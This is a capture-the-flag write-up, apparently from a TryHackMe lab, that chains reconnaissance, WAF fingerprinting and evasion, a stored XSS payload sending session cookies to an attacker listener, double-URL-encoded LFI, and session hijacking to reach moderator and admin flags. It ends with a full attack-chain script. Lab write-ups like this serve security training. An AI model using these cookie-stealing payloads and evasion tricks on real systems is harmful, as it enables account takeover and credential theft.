Not starting with Nmap. This challenge lands at the end of a heavy firewall exploitation series, so we kick things off with a curl:
┌──(jenn㉿local)-[~]
└─$ curl -I 10.145.143.71
The 403 is a strong firewall indicator. Server is Apache/2.4.58. The ETag starting with b38 tells us it is either an nginx or AWS firewall. b38 is also hexadecimal for 2872, which matches the Content-Length. Classic web firewall.
Next, two Nmap scans:
┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV -T4 -A 10.145.143.71
┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.143.71
Key findings from the vuln scan:
Open Ports:
- Port 22
- Port 80
Key Findings:
PHPSESSID: httponly flag not seton both the TLD and/login.php: cookie thievery is an option- Directories discovered:
/register.php,/index.php,/login.php,/logs,/config,/css,/js
Let’s fingerprint this firewall with wafw00f:
┌──(jenn㉿local)-[~]
└─$ wafw00f http://10.145.143.71
Good boy, wafw00f.
WAF status = beyond confirmed.
Thanks to this heavy-hitter of a firewall, we are not getting many details. Before we fully dive in, let’s put on a disguise and see if we can get less guarded information:
┌──(jenn㉿local)-[~]
└─$ curl -s -H "User-Agent: Mozilla/5.0" http://10.145.143.71
All signs are starting to point to XSS as the initial exploit. Let’s visit the site in-browser.
As promised, there’s a form at /register.php. Let’s make an account and catch the request in Burp.
Registration crafted. FoxyProxy set to Burp, Intercept on. I’ll go ahead and click Submit:
First: passwords are captured in plaintext (hence, the redacting).
Second: we are dealing with a moderator bot.
Excellent news.
Stored XSS
If the hunch is correct, we can craft an XSS payload that the moderator bot will pick up when it “reviews” the registration request. We may need to do some recon on what rules control the firewall first. Case sensitivity, whitespace deobfuscation, template bypass. We will find out.
Set up a Python listener:
┌──(jenn㉿local)-[~]
└─$ python3 -m http.server 8888
First payload attempt, bypassing the firewall via mixed-case letters and whitespace deobfuscation:
<body onload="new Image().src='http://192.168.128.19:8888?c='+document['cOOkiE'];">
The listener caught it, but the approach was a little too rogue. Too much case alternation and too many obfuscation tricks on document and cookie at once tripped the filter beyond parsing. The good news: the bot will 100% pick up the message.
Tone the string concatenation down a bit:
<body onload="new Image().src='http://192.168.128.19:8888?c='+document['coo' + 'kie'];">
Nailed it.
With the httponly flag not set, we take the stolen cookie and swap it out:
Inspect Site > Storage Tab > replace the “Value” with the stolen cookie > reload.
I’ll call you Harold because my name is “MOD.”
I am sure very few will get that joke, but for the few that do, you are my people.
Mod password updated for persistence.
Escalation to Admin
Now we need to climb up one level to admin. Well, fairly certain it is one level. Assumptions can be dangerous.
From initial enumeration, the most promising remaining directories are /config and /logs. To enumerate further without getting firewalled, we put the Mozilla disguise back on:
┌──(jenn㉿local)-[~]
└─$ gobuster dir -u http://10.145.143.71/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-a "Mozilla/5.0" -x php,txt,conf,log -t 50
That -a flag is critical to evade the firewall.
While gobuster runs, something stands out: App.conf has the same byte size as the ETag from our initial curl.
Let’s personally thank my trauma for bringing attention to the tiniest details.
ETag values frequently correspond to inode number or file size depending on the server config. With the identical byte size, it is very likely that App.conf is the file served at the root in the initial curl. In other words: the web root may have been referencing or serving App.conf, which could contain credentials, firewall rules, or other delightful config data.
Let’s curl again, in disguise:
┌──(jenn㉿local)-[~]
└─$ curl -A "Mozilla/5.0" http://10.145.143.71/config/App.conf
Ummm….
Blocked. It is like when there is a note next to a button that says “Don’t push the button.”
I am going to push the darn button.
Running gobuster directly on /config/ to get a more detailed map:
┌──(jenn㉿local)-[~]
└─$ gobuster dir -u http://10.145.143.71/config/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-a "Mozilla/5.0" -x php,txt,conf,log -t 50
The firewall is universally blocking .conf files, as evidenced by the 2872 bytes matching the initial curl -I.
Let’s take more of an interest in /logs:
curl -A "Mozilla/5.0" http://10.145.143.71/logs/
This already feels like a path of least resistance.
curl -A "Mozilla/5.0" http://10.145.143.71/logs/error.log
Aha! Let me zoom in for you…
We just found where admin_info lives. Also found: the WAF is ModSecurity, blocking .conf files and flagging encoded payloads.
Time for full-metal Jenn.
Direct path attempt, double slash:
curl -A "Mozilla/5.0" http://10.145.143.71//config/app.conf
Blocked. Escalating through encoding. ModSecurity decodes URL-encoded paths once before applying its rules, so single encoding still gets caught. Double encoding survives the first decode pass.
Single encoding:
curl -A "Mozilla/5.0" http://10.145.143.71/%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66
Double encoding:
curl -A "Mozilla/5.0" http://10.145.143.71/%2563%256f%256e%2566%2569%2567%252f%2561%2570%2570%252e%2563%256f%256e%2566
Every single character double encoded:
curl -A "Mozilla/5.0" http://10.145.143.71/%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%36%33%25%36%66%25%36%65%25%36%36
I am now unleashed. Add in the mod session cookie:
curl -s "http://10.145.143.71/live.php?page=%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66" \
-H "User-Agent: Mozilla/5.0" \
-H "Cookie: PHPSESSID=eoi7i7ne0p4qi39l2aqumt16b9e"
HA!
Log in as admin:
curl -s -X POST "http://10.145.143.71/login.php" \
-H "User-Agent: Mozilla/5.0" \
-d "username=admin&password=bL}8,S9W1o44" \
-c /tmp/admin.txt
cat /tmp/admin.txt
Repeat the cookie swap process with admin’s session cookie.
Dev Tools > Storage Tab > swap cookies (that sounds so bad when I say it in my head…).
Hit refresh. It logged out immediately after the swap. (In Mortal Kombat): “FINISH HIM”
┌──(jenn㉿local)-[~]
└─$ curl -s "http://10.145.143.71/dashboard.php" \
-H "User-Agent: Mozilla/5.0" \
-H "Cookie: PHPSESSID=fu13sm4ahhflf7hhcvu2933fe8"
Moderator flag: THM{Logged_1n_Moderat0r}
Admin flag: THM{Logged_1n_Adm1n001}
Full Attack Chain
# Initial recon
curl -I 10.145.143.71
nmap -sS -Pn -sC -sV -T4 -A 10.145.143.71
nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.143.71
wafw00f http://10.145.143.71
# Disguised enumeration
curl -s -H "User-Agent: Mozilla/5.0" http://10.145.143.71
gobuster dir -u http://10.145.143.71/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-a "Mozilla/5.0" -x php,txt,conf,log -t 50
# Stored XSS -- cookie theft via split string concatenation
# Python listener
python3 -m http.server 8888
# Payload injected via registration form:
# <body onload="new Image().src='http://ATTACKER_IP:8888?c='+document['coo' + 'kie'];">
# Swap stolen cookie in DevTools > Storage tab
# Persistence -- change mod password via dashboard
# Directory enumeration under /config/
gobuster dir -u http://10.145.143.71/config/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-a "Mozilla/5.0" -x php,txt,conf,log -t 50
# Log disclosure
curl -A "Mozilla/5.0" http://10.145.143.71/logs/
curl -A "Mozilla/5.0" http://10.145.143.71/logs/error.log
# LFI via live.php with URL-encoded path + mod session cookie
curl -s "http://10.145.143.71/live.php?page=%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66" \
-H "User-Agent: Mozilla/5.0" \
-H "Cookie: PHPSESSID=MOD_SESSION_ID"
# Admin login
curl -s -X POST "http://10.145.143.71/login.php" \
-H "User-Agent: Mozilla/5.0" \
-d "username=admin&password=bL}8,S9W1o44" \
-c /tmp/admin.txt
# Access dashboard with admin session cookie
curl -s "http://10.145.143.71/dashboard.php" \
-H "User-Agent: Mozilla/5.0" \
-H "Cookie: PHPSESSID=ADMIN_SESSION_ID"